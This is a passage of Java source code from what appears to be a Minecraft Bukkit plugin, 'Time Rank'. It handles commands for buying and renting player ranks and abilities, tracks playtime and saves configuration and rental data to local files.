!= -1) { rank.rentMinTime = config.getInt(node+".rentMinTime", -1)*60*1000; rank.rentAmount = config.getDouble(node+".rentAmount", 1); rank.rentBroadcast = config.getBoolean(node+".rentBroadcast", true); rank.rentGainedMsg = config.getString(node+".rentGainedMsg", "&B<player.name> &Ehas been promoted to &B<rank.group>"); rank.rentLostMsg = config.getString(node+".rentLostMsg", "&B<player.name> &Ehas been demoted from &B<rank.group> &Eto &B<rank.oldgroup>."); } else { config.removeProperty(node+".rentCost"); } iTime = config.getInt(node+".rentTime",-1); lTime = (long)iTime * 60 * 1000; rank.rentTime = lTime; rank.desc = config.getString(node+".description", ""); Ranks.put(rank, lTime); DebugPrint("Loaded " + rank.name + " with group " + rank.GetGroup().getName() + " in world " + rank.GetGroup().getWorld()); //Remove old nods for(String remNode : config.getKeys(node)) {//loop though all the nodes. DebugPrint("Removing old node: "+node+"."+remNode); config.removeProperty(node+"."+remNode); } } saveConfig(); } private void saveConfig() {//save all our settings to the config file. config.setProperty("settings.debug", debug); config.setProperty("settings.hideUnavaible", hideUnavaible); config.setProperty("settings.configVersion", 2); for(Rank rank : Ranks.keySet()) { String node="ranks."+rank.name; config.setProperty(node+".group", rank.GetGroup().getName()); config.setProperty(node+".world", rank.GetGroup().getWorld()); config.setProperty(node+".oldgroup", rank.GetOldGroupNames()); config.setProperty(node+".time", rank.time/60/1000); if (rank.cost > -1) { if (rank.cost>0) config.setProperty(node+".buy.cost", rank.cost); else if (rank.cost==0) config.setProperty(node+".buy.cost", "Money"); config.setProperty(node+".buy.amount", rank.amount); if (rank.minTime>0) config.setProperty(node+".buy.minTime", rank.minTime/60/1000); config.setProperty(node+".buy.broadcast", rank.broadcast); config.setProperty(node+".buy.msg", rank.msg); } if (rank.rentCost > -1) { DebugPrint("rentCost is "+rank.rentCost+" for "+rank.name); if (rank.rentCost>0) config.setProperty(node+".rent.cost", rank.rentCost); else if (rank.rentCost==0) config.setProperty(node+".rent.cost", "Money"); if (rank.rentMinTime>0) config.setProperty(node+".rent.minTime", rank.rentMinTime/60/1000); config.setProperty(node+".rent.amount", rank.rentAmount); config.setProperty(node+".rent.broadcast", rank.rentBroadcast); config.setProperty(node+".rent.gainedMessage", rank.rentGainedMsg); config.setProperty(node+".rent.lostMessage", rank.rentLostMsg); config.setProperty(node+".rent.time", rank.rentTime/60/1000); } config.setProperty(node+".description", rank.desc); } config.save(); } public void setupPermissions() { //Get the permissions plugin. Plugin permissionsPlugin = this.getServer().getPluginManager().getPlugin("Permissions"); if (permissionHandler == null) {//check if we already have a handler if (permissionsPlugin != null) {//Make sure we found a permissions plugin permissionHandler = ((Permissions) permissionsPlugin).getHandler(); UsePermissions = true; if (permissions.equalsIgnoreCase("Permissions3")) {//Use permissions 3.x try { perms = new com.oberonserver.perms.methods.Perm3(this); log.info("[Time Rank] Using Permissions 3.x"); }catch(Exception e){ PluginManager pm = this.getServer().getPluginManager(); Map<String,String>ErrorInfo = new LinkedHashMap<String,String>(); ErrorInfo.put("Error message:", "Set to use Permissions 3.x but something went wrong."); ErrorInfo.put("Depend", pm.getPlugin("Permissions").getDescription().getDepend().toString()); ErrorInfo.put("Permissions version", pm.getPlugin("Permissions").getDescription().getVersion().toString()); ErrorLog(ErrorInfo); } } else if (permissions.equalsIgnoreCase("GroupManager")) {//Use group manager Plugin gm = this.getServer().getPluginManager().getPlugin("GroupManager"); perms = new com.oberonserver.perms.methods.GM(this,gm); log.info("[Time Rank] Using permissions GroupManger"); } } else { System.out.println("[Time Rank] Permission system not detected. Something went wrong."); System.out.println("[Time Rank] Make sure you are using Permisions 3.x or GroupManager."); } } } @Override public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args) { try { Player player = null; //String[] split = args; if(sender instanceof Player) { player = (Player) sender; //Check permissions. Node should be timerank.<command name> if(!perms.HasPermission(player,"timerank."+cmd.getName())) { if(sender instanceof Player) sender.sendMessage("§4You do not have permission to run this command"); return true; } } //We have permission to run the command. if (cmd.getName().equalsIgnoreCase("playtime")) //Check which command we ran. { String playername=""; if(sender instanceof Player) playername = player.getDisplayName(); if (args.length > 0) playername = args[0]; for(String p : PlayTime.keySet()) { if (p.equalsIgnoreCase(playername)) {//Name or display name matches if(sender instanceof Player) player.sendMessage(p + " has been playing for " + Mills2Time(GetPlaytime(p))); else log.info(p + " has been playing for " + Mills2Time(GetPlaytime(p))); return true; } } //Player not found in list see if it is there first connect. for(String p : StartTime.keySet()) { if (p.equalsIgnoreCase(playername)) {//Name or display name matches sender.sendMessage(p + " has been playing for " + Mills2Time(GetPlaytime(p))); return true; } } //see if they are just not loaded yet. File path = new File(mainDirectory+File.separator+"data"+File.separator+playername); if (path.exists()) { loadPlaytime(playername); sender.sendMessage(playername + " has been playing for " + Mills2Time(GetPlaytime(playername))); } sender.sendMessage(playername + " could not be found"); } else if (cmd.getName().equalsIgnoreCase("checkranks")) { sender.sendMessage("Promoted " + CheckRanks(getServer().getOnlinePlayers()) + " people."); return true; } else if (cmd.getName().equalsIgnoreCase("buyrank")) { //Make sure a player is running the command. if(!(sender instanceof Player)) { log.info("This command must be run in game."); return false; } if (args.length < 1) return false; //Buy the rank String rankname = args[0]; DebugPrint(player.getName() + " is trying to buy "+rankname); BuyRank(player,rankname); return true; } else if (cmd.getName().equalsIgnoreCase("rentrank")) { //Make sure it is a player if(!(sender instanceof Player)) { log.info("This command must be run in game."); return false; } if (args.length < 1) return false; //Rent out the rank String rankname = args[0]; DebugPrint(player.getName() + " is trying to rent "+rankname); RentRank(player,rankname); return true; } else if (cmd.getName().equalsIgnoreCase("listranks")) { //Set up the filter and page info String sCmd =""; int iPage=-1; if (args.length > 0) if (!isParsableToInt(args[0])) sCmd = args[0]; else iPage = Integer.parseInt(args[0]); if ((args.length > 1) && (isParsableToInt(args[1]))) iPage = Integer.parseInt(args[1]); //iPage -= 1; int perPage = 5; int curItem = -1; int startItem = ((iPage-1) * perPage); sender.sendMessage("§B---------------Rank List---------------"); for(Rank r : Ranks.keySet()) { //check to see if we hide groups we can't get. if ( hideUnavaible ) if (!r.inOldGroup(perms, player) && !r.hasOldGroup()) { DebugPrint("Hidding " + r.name + " from " + player.getName()); continue; } //Check filters if (sCmd.equalsIgnoreCase("time")) if (r.time<=0) continue; if (sCmd.equalsIgnoreCase("buy")) if (r.cost<0) continue; if (sCmd.equalsIgnoreCase("rent")) if (r.rentCost<0) continue; //We are showing this one, so update page info curItem +=1; if (iPage >= 0) { if (curItem <= startItem) continue; if (curItem > iPage * perPage) continue; } //Build the rank info string and display it String msg="§A"+r.name + " - "; if (r.time>0) msg+="§BTime: §A" + Mills2Time(r.time) + " "; if (r.cost>0) msg+="§BBuy: §A" + r.amount+ " " + Material.getMaterial(r.cost)+ " "; if (r.cost==0) msg+="§BBuy: §A" + Method.format(r.amount)+ " "; if (r.rentCost>0) msg+="§BRent: §A" + r.rentAmount+ " " + Material.getMaterial(r.rentCost)+ " "; if (r.rentCost==0) msg+="§BRent: §A" + Method.format(r.rentAmount)+ " "; if (r.hasOldGroup()) msg+="§BRequires group: §A" + r.strOldGroups() + " "; sender.sendMessage(msg); if (r.desc != "") sender.sendMessage("§BDescription: §A"+r.desc); } sender.sendMessage("§B-----------------------------------------"); return true; } else if (cmd.getName().equalsIgnoreCase("buyab")) { //Make sure a player is running the command. if(!(sender instanceof Player)) { log.info("This command must be run in game."); return false; } if (args.length < 1) return false; //Buy the ability String abilityname = args[0]; DebugPrint(player.getName() + " is trying to buy "+abilityname); BuyAbility(player,abilityname); return true; } else if (cmd.getName().equalsIgnoreCase("rentab")) { //Make sure it is a player if(!(sender instanceof Player)) { log.info("This command must be run in game."); return false; } if (args.length < 1) return false; //Rent out the ability String abilityname = args[0]; DebugPrint(player.getName() + " is trying to rent "+abilityname); RentAbility(player,abilityname); return true; } else if (cmd.getName().equalsIgnoreCase("listabs")) { //Set up the filter and page info String sCmd =""; int iPage=-1; if (args.length > 0) if (!isParsableToInt(args[0])) sCmd = args[0]; else iPage = Integer.parseInt(args[0]); if ((args.length > 1) && (isParsableToInt(args[1]))) iPage = Integer.parseInt(args[1]); //iPage -= 1; int perPage = 5; int curItem = -1; int startItem = ((iPage-1) * perPage); String catFilter=""; //Build a list of categories. HashSet<String> cats =new HashSet<String>(); for(Ability ab : Abilities.keySet()) { for(String cat : ab.Categories) { cats.add(cat); if (sCmd.equalsIgnoreCase(cat)) catFilter=cat; } } if (sCmd.equalsIgnoreCase("cats")) {//special case. We only want the categories. HashSet<String> catlist =new HashSet<String>(); for(String cat : cats) {//color the category list before we display it. catlist.add("§A"+cat+"§F"); } sender.sendMessage("§B--------Abilities Categories--------"); sender.sendMessage("Categories: "+catlist.toString()); sender.sendMessage("§B-----------------------------------------"); return true; } sender.sendMessage("§B---------------Abilities List---------------"); for(Ability ab : Abilities.keySet()) { //check to see if we hide groups we can't get. if ( hideUnavaible ) if (!perms.HasPermission(player, ab.permission, player.getWorld().getName())) { DebugPrint("Hidding " + ab.name + " from " + player.getName()); continue; } //Check filters if (sCmd.equalsIgnoreCase("time")) if (ab.time<=0) continue; if (sCmd.equalsIgnoreCase("buy")) if (ab.cost<0) continue; if (sCmd.equalsIgnoreCase("rent")) if (ab.rentCost<0) continue; if (catFilter!="") //we are filtering by category. if (!ab.Categories.contains(catFilter)) continue; //We are showing this one, so update page info curItem +=1; if (iPage >= 0) { if (curItem <= startItem) continue; if (curItem > iPage * perPage) continue; } //Build the rank info string and display it String msg="§A"+ab.name + " - "; if (ab.time>0) msg+="§BTime: §A" + Mills2Time(ab.time) + " "; if (ab.cost>0) msg+="§BBuy: §A" + ab.amount+ " " + Material.getMaterial(ab.cost)+ " "; if (ab.cost==0) msg+="§BBuy: §A" + Method.format(ab.amount)+ " "; if (ab.rentCost>0) msg+="§BRent: §A" + ab.rentAmount+ " " + Material.getMaterial(ab.rentCost)+ " "; if (ab.rentCost==0) msg+="§BRent: §A" + Method.format(ab.rentAmount)+ " "; sender.sendMessage(msg); if (ab.desc != "") sender.sendMessage("§BDescription: §A"+ab.desc); msg=""; HashSet<String> catlist =new HashSet<String>(); for(String cat : ab.Categories ) {//color the category list before we display it. catlist.add("§A"+cat+"§B"); } sender.sendMessage("§BCategories: "+catlist.toString()); } sender.sendMessage("§B-----------------------------------------"); return true; } else if (cmd.getName().equalsIgnoreCase("timerank")) { //Check for no args. If no args, display basic info if (args.length<1) { sender.sendMessage("§B---------------Time Rank---------------"); sender.sendMessage("§BVersion: §A"+this.getDescription().getVersion()); sender.sendMessage("§BDebug: §A"+this.debug); sender.sendMessage("§BPermissions: §A"+this.permissions); sender.sendMessage("§BHide Unavaible: §A"+this.hideUnavaible ); sender.sendMessage("§B-----------------------------------------"); return true; } else if (args[0].equalsIgnoreCase("reload")) {//Reload the config file. Ranks.clear(); Ranks = new HashMap<Rank, Long>(); loadConfig(); sender.sendMessage("§B[TimeRank] Timerank has been reloaded."); return true; } else if (args[0].equalsIgnoreCase("groups")) {//Show advanced listing of the groups. String sCmd =""; if (args.length > 1) sCmd = args[1]; sender.sendMessage("§B-----------Advanced Rank List-----------"); for(Rank r : Ranks.keySet()) { if (sCmd.equalsIgnoreCase("time")) if (r.time<=0) continue; if (sCmd.equalsIgnoreCase("buy")) if (r.cost<0) continue; if (sCmd.equalsIgnoreCase("rent")) if (r.rentCost<0) continue; String msg="§A"+r.name + " - "; if (r.time>0) msg+="§BTime: §A" +Mills2Time(r.time) + " "; if (r.cost>0) msg+="§BCost: §A" + r.amount+ " " + Material.getMaterial(r.cost)+ " "; if (r.cost==0) msg+="§BCost: §A" + Method.format(r.amount)+ " "; msg+="§BGroup: §A" + r.GetGroup().getName()+ " "; if (r.hasOldGroup()) msg+="§BRequires group: §A" + r.strOldGroups()+ " "; sender.sendMessage(msg); } sender.sendMessage("§B-----------------------------------------"); return true; } else if (args[0].equalsIgnoreCase("group")) {//show a lot of info about 1 group. if (args.length < 2) { sender.sendMessage("§CUseage: /timerank group <name>"); return true; } sender.sendMessage("§B-----------Advanced Rank List-----------"); for(Rank r : Ranks.keySet()) { if (r.name.equalsIgnoreCase(args[1])) { String msg="§A"+r.name + " - "; if (r.time>0) msg+="§BTime: §A" + Mills2Time(r.time) + " "; if (r.cost>0) msg+="§BCost: §A" + r.amount+ " " + Material.getMaterial(r.cost)+ " "; if (r.cost==0) msg+="§BCost: §A" + Method.format(r.amount)+ " "; msg+="§BGroup: §A" + r.GetGroup().getName()+ " "; if (r.hasOldGroup()) msg+="§BRequires group: §A" + r.strOldGroups()+ " "; sender.sendMessage(msg); } sender.sendMessage("§B-----------------------------------------"); return true; } } else if (args[0].equalsIgnoreCase("set")) {//change a config variable if (args.length < 3) {//make sure we have at least 3 args sender.sendMessage("§CUseage: /timerank set <setting> <value>"); return true; } if (args[1].equalsIgnoreCase("debug")) {//Set debug value if (args[2].equalsIgnoreCase("true")) debug=true; else debug=false; sender.sendMessage("§AConfig file updated."); saveConfig(); } return true; } else if (args[0].equalsIgnoreCase("list")) { if (args[1].equalsIgnoreCase("rented")) { if (args[2].equalsIgnoreCase("abs")) { sender.sendMessage("§A-------------Rented Abilities-----------"); for (PurchasedAbility ra : RentedAbilities) { sender.sendMessage("§APlayer: "+ ra.playername +" Ability: "+ra.ability.name+" Ticks: "+Mills2Time(ra.durationTicks*50)); } } } return true; } else if (args[0].equalsIgnoreCase("test")) {//Test command. This changes A LOT and can/will do whatever I'm trying to figure out at the moment. for(Ability ab : Abilities.keySet()) { if (ab.name.equalsIgnoreCase(args[1])) { for(String node : ab.Nodes) { sender.sendMessage("§ANodes: "+node); } } } return true; } } }catch(Exception e) {//Oops. Dump a bunch of data so we can figure out what caused the error. Map<String,String>ErrorInfo = new LinkedHashMap<String,String>(); //CommandSender sender, Command cmd, String commandLabel, String[] args ErrorInfo.put("Msg", "Error running command."); ErrorInfo.put("CMD", cmd.getName()); ErrorInfo.put("Label", commandLabel);; ErrorInfo.put("Arguments",Integer.toString(args.length)); ErrorInfo.put("Args",arrayToString(args, " ")); ErrorInfo.put("Trace",StracktraceToString(e)); ErrorLog(ErrorInfo); } return false; } public long GetPlaytime(String player) {//Get the play time of a single player and return it in milliseconds long now = System.currentTimeMillis(); long login=0; long total=0; if (StartTime.containsKey(player)) login=now - StartTime.get(player); if (PlayTime.containsKey(player)) total=PlayTime.get(player); if (total==0) { loadPlaytime(player); if (PlayTime.containsKey(player)) total=PlayTime.get(player); } return login + total; } public void saveRent() {//Save our rented ranks and abilities to disk so we can load them later. try { File path = new File(mainDirectory+File.separator+"data"+File.separator+"rent.data"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(path.getPath())); obj.writeObject(RentedRanks); obj.close(); } catch (FileNotFoundException e) { ThrowSimpleError(e); } catch (IOException e) { ThrowSimpleError(e); } try { File path = new File(mainDirectory+File.separator+"data"+File.separator+"rentability.data"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(path.getPath())); obj.writeObject(RentedAbilities); obj.close(); } catch (FileNotFoundException e) { ThrowSimpleError(e); } catch (IOException e) { ThrowSimpleError(e); } } @SuppressWarnings("unchecked") public void loadRent() {//Load who has rented what. File path = new File(mainDirectory+File.separator+"data"+File.separator+"rent.data"); if (path.exists()) { try { ObjectInputStream obj = new ObjectInputStream(new FileInputStream(path.getPath())); RentedRanks = (List<PurchasedRank>)obj.readObject(); } catch (FileNotFoundException e) { ThrowSimpleError(e); } catch (IOException e) { ThrowSimpleError(e); } catch (ClassNotFoundException e) { ThrowSimpleError(e); } } path = new File(mainDirectory+File.separator+"data"+File.separator+"rentability.data"); if (path.exists()) { DebugPrint("Loading rented abilities"); try { ObjectInputStream obj = new ObjectInputStream(new FileInputStream(path.getPath())); RentedAbilities = (List<PurchasedAbility>)obj.readObject(); } catch (FileNotFoundException e) { ThrowSimpleError(e); } catch (IOException e) { ThrowSimpleError(e); } catch (ClassNotFoundException e) { ThrowSimpleError(e); } } } public void savePlaytime() {//Save play time for everyone for(String p : PlayTime.keySet()) { savePlaytime(p); } } public void savePlaytime(Player p) {//Save playtime for a single player. savePlaytime(p.getName()); } public void savePlaytime(String name) {//Save play time for a single players name. String path; Properties prop = new Properties(); //creates a new properties file try { //Update play time long playtime =GetPlaytime(name); PlayTime.put(name,playtime); long now = System.currentTimeMillis(); StartTime.put(name, now); path = mainDirectory+File.separator+"data"+File.separator+name; ObjectOutputStream hashfile = new ObjectOutputStream(new FileOutputStream(path)); prop.put("time", PlayTime.get(name).toString()); prop.store(hashfile, "Do not edit"); hashfile.flush(); hashfile.close(); //Something went wrong }catch(Exception e){ ThrowSimpleError(e); } } public void loadPlaytime(Player p) {//Load play time for a player. loadPlaytime(p.getName()); } public void loadPlaytime(String name) { //Load play time for a single players name Properties prop = new Properties(); //creates a new properties file File path = new File(mainDirectory+File.separator+"data"+File.separator+name); if (path.exists()) { try{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path.getPath())); prop.load(ois); if (prop.getProperty("time") != null) PlayTime.put(name,Long.parseLong(prop.getProperty("time")) ); else { DebugPrint("Problem loading playtime, returned null for "+name+". Setting it to 0"); DebugPrint("Problem loading playtime, returned null for "+name+". Setting it to 0"); } }catch(Exception e){ DebugPrint("Error loading playtime. Setting it to 0"); PlayTime.put(name,(long) 0); ThrowSimpleError(e); } } else { DebugPrint("Playtime not found for "+name+". Setting it to 0."); PlayTime.put(name,(long) 0); } } public void ThrowSimpleError(Exception e,String msg) {//Throw a simple error message using our nice formated error system with a single bit of txt to help describe it. Map<String, String>ErrorInfo= new LinkedHashMap<String,String>(); ErrorInfo.put("Msg", msg); ErrorInfo.put("Trace", StracktraceToString(e)); ErrorLog(ErrorInfo); } public void ThrowSimpleError(Exception e) {//throw a basic error in our nice formated error system. Map<String, String>ErrorInfo = new LinkedHashMap<String,String>(); ErrorInfo.put("Trace", StracktraceToString(e)); ErrorLog(ErrorInfo); } public String StracktraceToString(Exception e) {//Take a stack trace and return it in a string we can work with. StringWriter sw = new StringWriter(); e.printStackTrace(new PrintWriter(sw)); return sw.toString(); } public void DebugPrint(String msg) {//Print debug messages if debug is turned on. if (debug) log.info("[Time Rank] " + msg); } public void ErrorLog(Map<String, String> ErrorList) {//A nicely formated error message for the console. log.severe("==================================================="); log.severe("= ERROR REPORT START ="); log.severe("==================================================="); log.severe("= TIME RANK ERROR ="); log.severe("= INCLUDE WHEN ASKING FOR HELP ="); log.severe("==================================================="); log.severe("Version: "+this.getDescription().getVersion()); log.severe("Permissions: "+this.permissions); log.severe("Ranks Loaded: "+Ranks.size()); if (ErrorList != null) { log.severe("===================ERROR INFO==================="); for (String key:ErrorList.keySet()) { log.severe(key + ": " + ErrorList.get(key)); } } log.severe("==================================================="); log.severe("= ERROR REPORT ENDED ="); log.severe("==================================================="); } public static String arrayToString(String[] a, String separator) { StringBuffer result = new StringBuffer(); if (a.length > 0) { result.append(a[0]); for (int i=1; i<a.length; i++) { result.append(separator); result.append(a[i]); } } return result.toString(); } public void BuyRank(Player player, String rankname) { //Given a player and a rank. Try to have that player buy that rank. DebugPrint("Looking for " + rankname); for(Rank r : Ranks.keySet()) { DebugPrint("Checking "+rankname + "=" + r.name); if (r.name.equalsIgnoreCase(rankname)) {//found the rank we are looking for. See if it is for sale DebugPrint(rankname + " found. Checking cost: " +r.cost); //Check if we have passed the minimum time if (r.cost>=0 && r.minTime < GetPlaytime(player.getName())) { if (r.cost==0) {//use money DebugPrint(rankname + " Using money for cost"); if (Method.getAccount(player.getName()).hasEnough(r.amount)) { DebugPrint("You have the required money"); switch(PromotePlayer(player,r)) { case 0://Everything went fine Method.getAccount(player.getName()).subtract(r.amount); //Consume money. Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(r)); String msg = ProcessMsg(r.msg, replace); if (r.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Not in old group player.sendMessage("You need to be in " + r.strOldGroups() + " to be buy the rank "+r.name); break; case 2: player.sendMessage("You are already in " + r.GetGroup().getName() +" which " + r.name + " grants."); break; }//end switch } else { player.sendMessage("You don't have enough items. You need at least " + Method.format(r.amount)); } } else {//use block id DebugPrint(rankname + " Using block "+ r.cost +" for cost"); ItemStack item = new ItemStack(r.cost, (int) r.amount); //right now the player must have exactly that item. //Example: a stack of 5 gold bars instead of a stack of 10 gold bars. if (CheckItems(player,item)) { DebugPrint("You have the required items"); switch(PromotePlayer(player,r)) { case 0://Everything went fine ConsumeItems(player,item); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(r)); String msg = ProcessMsg(r.msg, replace); if (r.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Not in old group player.sendMessage("You need to be in " + r.strOldGroups() + " to be buy the rank "+r.name); break; case 2: player.sendMessage("You are already in " + r.GetGroup().getName() +" which " + r.name + " grants."); break; }//end switch }//end player has items check else { player.sendMessage("You don't have enough items. You need at least " + r.amount + " of " + Material.getMaterial(r.cost)); } }//end check to see if we are using money/block } }//end check to see if we can buy this }//end check of rank name } public void RentRank(Player player,String rankname) {//RentedGroups DebugPrint("Looking for " + rankname); for(Rank r : Ranks.keySet()) { DebugPrint("Checking "+rankname + "=" + r.name); if (r.name.equalsIgnoreCase(rankname)) {//found the rank we are looking for. See if it is for sale DebugPrint(rankname + " found. Checking cost: " +r.rentCost); if (r.rentCost>=0) { if (r.rentCost==0) {//use money DebugPrint(rankname + " Using money for cost"); if (Method.getAccount(player.getName()).hasEnough(r.rentAmount)) { DebugPrint("You have the required items"); switch(PromotePlayer(player,r)) { case 0://Everything went fine Method.getAccount(player.getName()).subtract(r.rentAmount); //Consume money. RentedRanks.add(new PurchasedRank(player.getName(), r)); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(r)); String msg = ProcessMsg(r.rentGainedMsg, replace); if (r.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Not in old group player.sendMessage("You need to be in " + r.strOldGroups() + " to be buy the rank "+r.name); break; case 2: player.sendMessage("You are already in " + r.GetGroup().getName() +" which " + r.name + " grants."); break; }//end switch } else { player.sendMessage("You don't have enough items. You need at least " + Method.format(r.rentAmount)); } } else {//use block id DebugPrint(rankname + " Using block "+ r.rentCost +" for cost"); ItemStack item = new ItemStack(r.rentCost, (int) r.rentAmount); if (CheckItems(player,item)) { DebugPrint("You have the required items"); switch(PromotePlayer(player,r)) { case 0://Everything went fine ConsumeItems(player,item); //Consume items. Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(r)); String msg = ProcessMsg(r.rentGainedMsg, replace); if (r.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Not in old group player.sendMessage("You need to be in " + r.strOldGroups() + " to be buy the rank "+r.name); break; case 2: player.sendMessage("You are already in " + r.GetGroup() +" which " + r.name + " grants."); break; }//end switch }//end player has items check else { player.sendMessage("You don't have enough items. You need at least " + r.rentAmount + " of " + Material.getMaterial(r.rentCost)); } }//end check to see if we are using money }//end check to see if we can buy this }//end check of rank name } saveRent(); } public void BuyAbility(Player player, String abilityname) { //Given a player and a rank. Try to have that player buy that rank. DebugPrint("Looking for " + abilityname); for(Ability ab : Abilities.keySet()) { DebugPrint("Checking "+abilityname + "=" + ab.name); if (ab.name.equalsIgnoreCase(abilityname)) {//found the ability we are looking for. See if it is for sale DebugPrint(abilityname + " found. Checking cost: " +ab.cost); //Check if we have passed the minimum time if (ab.cost>=0 && ab.minTime < GetPlaytime(player.getName())) { if (ab.cost==0) {//use money DebugPrint(abilityname + " Using money for cost"); if (Method.getAccount(player.getName()).hasEnough(ab.amount)) { DebugPrint("You have the required money"); switch(AddPlayerNode(player,ab)) { case 0://Everything went fine Method.getAccount(player.getName()).subtract(ab.amount); //Consume money. Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(ab)); String msg = ProcessMsg(ab.msg, replace); if (ab.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Don't have the permissions player.sendMessage("You don't have the permissions to buy " + ab.name); break; case 2: player.sendMessage("You are already all the permissions " + ab.name + " grants."); break; }//end switch } else { player.sendMessage("You don't have enough items. You need at least " + Method.format(ab.amount)); } } else {//use block id DebugPrint(abilityname + " Using block "+ ab.cost +" for cost"); ItemStack item = new ItemStack(ab.cost, (int) ab.amount); //right now the player must have exactly that item. //Example: a stack of 5 gold bars instead of a stack of 10 gold bars. if (CheckItems(player,item)) { DebugPrint("You have the required items"); switch(AddPlayerNode(player,ab)) { case 0://Everything went fine ConsumeItems(player,item); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(ab)); String msg = ProcessMsg(ab.msg, replace); if (ab.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Don't have the permissions player.sendMessage("You don't have the permissions to buy " + ab.name); break; case 2: player.sendMessage("You are already all the permissions " + ab.name + " grants."); break; }//end switch }//end player has items check else { player.sendMessage("You don't have enough items. You need at least " + ab.amount + " of " + Material.getMaterial(ab.cost)); } }//end check to see if we are using money/block } }//end check to see if we can buy this }//end check of rank name } public void RentAbility(Player player,String abilityname) {//RentedGroups DebugPrint("Looking for " + abilityname); for(Ability ab : Abilities.keySet()) { DebugPrint("Checking "+ abilityname + "=" + ab.name); if (ab.name.equalsIgnoreCase(abilityname)) {//found the rank we are looking for. See if it is for sale DebugPrint(abilityname + " found. Checking cost: " +ab.rentCost); if (ab.rentCost>=0) { if (ab.rentCost==0) {//use money DebugPrint(abilityname + " Using money for cost"); if (Method.getAccount(player.getName()).hasEnough(ab.rentAmount)) { DebugPrint("You have the required items"); switch(AddPlayerNode(player,ab)) { case 0://Everything went fine Method.getAccount(player.getName()).subtract(ab.rentAmount); //Consume money. RentedAbilities.add(new PurchasedAbility(player.getName(), ab)); Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(ab)); String msg = ProcessMsg(ab.rentGainedMsg, replace); if (ab.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Don't have the permissions player.sendMessage("You don't have the permissions to buy " + ab.name); break; case 2: player.sendMessage("You are already all the permissions " + ab.name + " grants."); break; }//end switch } else { player.sendMessage("You don't have enough items. You need at least " + Method.format(ab.rentAmount)); } } else {//use block id DebugPrint(abilityname + " Using block "+ ab.rentCost +" for cost"); ItemStack item = new ItemStack(ab.rentCost, (int) ab.rentAmount); if (CheckItems(player,item)) { DebugPrint("You have the required items"); switch(AddPlayerNode(player,ab)) { case 0://Everything went fine ConsumeItems(player,item); //Consume items. Map<String, String> replace = new HashMap<String, String>(); replace.putAll(ProcessMsgVars(player)); replace.putAll(ProcessMsgVars(ab)); String msg = ProcessMsg(ab.rentGainedMsg, replace); if (ab.broadcast) getServer().broadcastMessage(msg); else player.sendMessage(msg); break; case 1://Don't have the permissions player.sendMessage("You don't have the permissions to buy " + ab.name); break; case 2: player.sendMessage("You are already all the permissions " + ab.name + " grants."); break; }//end switch }//end player has items check else { player.sendMessage("You don't have enough items. You need at least " + ab.rentAmount + " of " + Material.getMaterial(ab.rentCost)); } }//end check to see if we are using money }//end check to see if we can buy this }//end check of rank name } saveRent(); } public int PromotePlayer(Player p, Rank r) { //Entry entry = perms.getHandler().getUserObject(p.getWorld().getName(), p.getName()); DebugPrint("PromotePlayer: Checking " + p.getName() + " for " + r.name); //check to see if we are not already in this group. if (!perms.inGroup(p, r.GetGroup().getWorld(),r.GetGroup().getName())) {//if we are not in the group check to see if we are in the old/leser. DebugPrint("PromotePlayer: " + p.getName() + " is not in group " + r.GetGroup().getName() + " yet."); if (r.hasOldGroup()) { boolean inGroup = r.inOldGroup(perms, p); DebugPrint("In Group: " +r.strOldGroups() + ":"+r.GetGroup().getWorld() + inGroup); if (!inGroup) return 1; //we are in the old/lesser group. See if we have enough time to promote. DebugPrint("PromotePlayer: " + p.getName() + " is in old group " + r.strOldGroups() + "."); } DebugPrint("PromotePlayer: " + p.getName() + " is ready to be promoted."); //everything looks good. Lets promote! perms.AddGroup(p, r.GetGroup().getWorld(),r.GetGroup().getName()); if (r.remove && r.hasOldGroup()) { for(GenericGroup curGroup: r.GetOldGroup() ) { if (perms.inGroup(p, curGroup.getWorld(), curGroup.getName())) perms.RemoveGroup(p.getWorld().getName(), p.getName(), curGroup.getWorld(), curGroup.getName()); } } return 0; } else return 2;//already in that group } public int AddPlayerNode(Player p, Ability ab) { //Entry entry = perms.getHandler().getUserObject(p.getWorld().getName(), p.getName()); DebugPrint("AddPlayerNode: Checking " + p.getName() + " for " + ab.name); //check to see if we already have all the permissions. boolean hasAll=true; for(String node : ab.Nodes) { if (!perms.HasPermission(p, node)) { hasAll=false; break; } } if (!hasAll) {//We will gain at least one permission from this. DebugPrint("AddPlayerNode: " + p.getName() + " will gain at least 1 permission from " + ab.name); //check to see if we require a permission if (ab.permission != "") { if (!perms.HasPermission(p, ab.permission, ab.world)) return 1; //we have the required permission node DebugPrint("AddPlayerNode: " + p.getName() + " has the permission node " + ab.permission + "."); } DebugPrint("AddPlayerNode: " + p.getName() + " is ready to have the permissions added."); //everything looks good. Lets promote! for(String node : ab.Nodes) { DebugPrint("AddPlayerNode: " + p.getName() + " gained " + node + " in world " + ab.world); perms.AddNode(p, node, ab.world); } return 0; } else return 2;//already has all the nodes } public void RemovePlayerNode(Player p, Ability ab) { //Entry entry = perms.getHandler().getUserObject(p.getWorld().getName(), p.getName()); 